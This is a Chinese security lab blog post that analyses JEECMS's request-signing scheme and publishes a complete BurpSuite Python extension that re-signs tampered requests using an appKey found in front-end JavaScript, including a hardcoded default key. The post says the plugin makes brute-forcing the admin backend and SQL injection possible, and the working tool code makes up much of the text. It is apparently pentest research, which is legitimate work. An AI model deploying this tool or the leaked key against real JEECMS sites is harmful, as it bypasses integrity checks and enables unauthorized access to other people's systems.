标签 jeecms签名 下的文章 - 勾陈安全实验室

标签 jeecms签名 下的文章

BurpSuite插件:JEECMS签名助手

题外话

18年想提高一下自己的代码审计能力,重点放在Java系和Python系。Java是我入门学习的第一门语言也是大学陪伴最久的,会一直爱下去。Python是我用的最多最喜欢的,Python是世界上最好的语言。

起因&签名分析

写这个插件的原因是在测试JEECMS后台时,用BurpSuite修改了一个参数的,在返回结果中看到提示了签名错误,如下图:

201801191516329998864170.png

很明显这里后端对参数做了签名验证,其中请求中对参数sign就是签名的hash. 于是Debug来看看。

先修改参数:

20180119110514151633111462067.png

通过下断点,发现后端会将请求参数全部拿来做签名计算,签名计算就是一个MD5计算,其中的appKey会被拼接到字符串后面,然后对字符串做一次MD5计算,这个MD5值会与前端传过来的sign判断是否一致,如果一致则签名判断通过,不一致则说明参数被篡改了。

20180119110527151633112751998.png

签名计算方式:

20180119112150151633211025608.png

现在唯一的问题就是,随意一个JEECMS的站,那个appKey怎么知道呢?这个Key是admin用户的唯一值,在数据库位置:

20180119112842151633252277458.png

我们知道sign是签名hash那么,参数是在前端经过签名的,那么前端一定有这个appKey的值,于是打开F12在JS文件中可以找到这个值。

20180119113410151633285095854.png

官方Demo站:

20180119113402151633284224809.png

签名插件编写

我们知道了签名校验方式和过程了,现在就知道怎么写这个BurpSuite插件了。

  1. 将请求参数拦截下来
  2. 将参数+appKey进行拼接并做MD5计算
  3. 用新的hash替换参数sign的值
  4. BurpSuite发出请求,成功返回

编写BurpSuite插件Python版本代码如下:

from burp import IBurpExtender
from burp import IHttpListener
from java.io import PrintWriter
import hashlib
import urllib

print "Hack Jeecms Sign By Nerd."

class BurpExtender(IBurpExtender, IHttpListener):
    def registerExtenderCallbacks(self, callbacks):

        self._callbacks = callbacks
        self._helpers = callbacks.getHelpers()
        callbacks.setExtensionName("Hack JeeCMS Sign")
        callbacks.registerHttpListener(self)
        self.stdout = PrintWriter(callbacks.getStdout(), True)
        self.stderr = PrintWriter(callbacks.getStderr(), True)
        callbacks.issueAlert("Loaded Successfull.")

    def processHttpMessage(self, toolFlag, messageIsRequest, currentRequest):
        if messageIsRequest:

            requestInfo = self._helpers.analyzeRequest(currentRequest)

            self.headers = list(requestInfo.getHeaders())
            hook_host = requestInfo.getUrl().getHost()

            bodyBytes = currentRequest.getRequest()[requestInfo.getBodyOffset():]
            self.body = self._helpers.bytesToString(bodyBytes)

            o,n = self.update_sign(urllib.unquote(self.body))
            self.body = self.body.replace(o,n)
            print self.body
            newMessage = self._helpers.buildHttpMessage(self.headers, self.body)
            currentRequest.setRequest(newMessage)

        # Process responses
        else:
            pass

    def update_sign(slef, body=""):
        try:
            old_sign = ""
            # defalut appKey
            appKey = "Sd6qkHm9o4LaVluYRX5pUFyNuiu2a8oi"
            #appKey = "uicxsXYso7DJxlrFdgQnVVXW5OCzU74h"

            hash_param = ""
            param_list = body.split("&")

            temp_dict = {}
            for pa in param_list:
                t = pa.split("=")
                temp_dict[t[0]] = t[1]

            tmmmm = temp_dict.items()

            tmmmm.sort()
            for (k, v) in tmmmm:
                if k == "sign":
                    old_sign = v
                    print "old sign = ",v
                    continue
                hash_param += "%s=%s&" % (k, v)

            hash_param += "key=" + appKey
            sign = hashlib.md5(hash_param).hexdigest()
            print "new sign = ",sign.upper()
            return old_sign,sign.upper()
        except Exception, e:
            print e
            return "",""

效果

模拟对JEECMS后台进行爆破攻击,没有加载插件之前是这样对效果:全部提示签名错误

201801191516339127197513.png

加载插件以后:

201801191516339413839646.png

加载插件后,长度640为签名错误的情况,仅有2次签名错误,通过这个插件就可以爆破,SQL注入等为所欲为的操作了。

代码GitHub地址

HackSign.py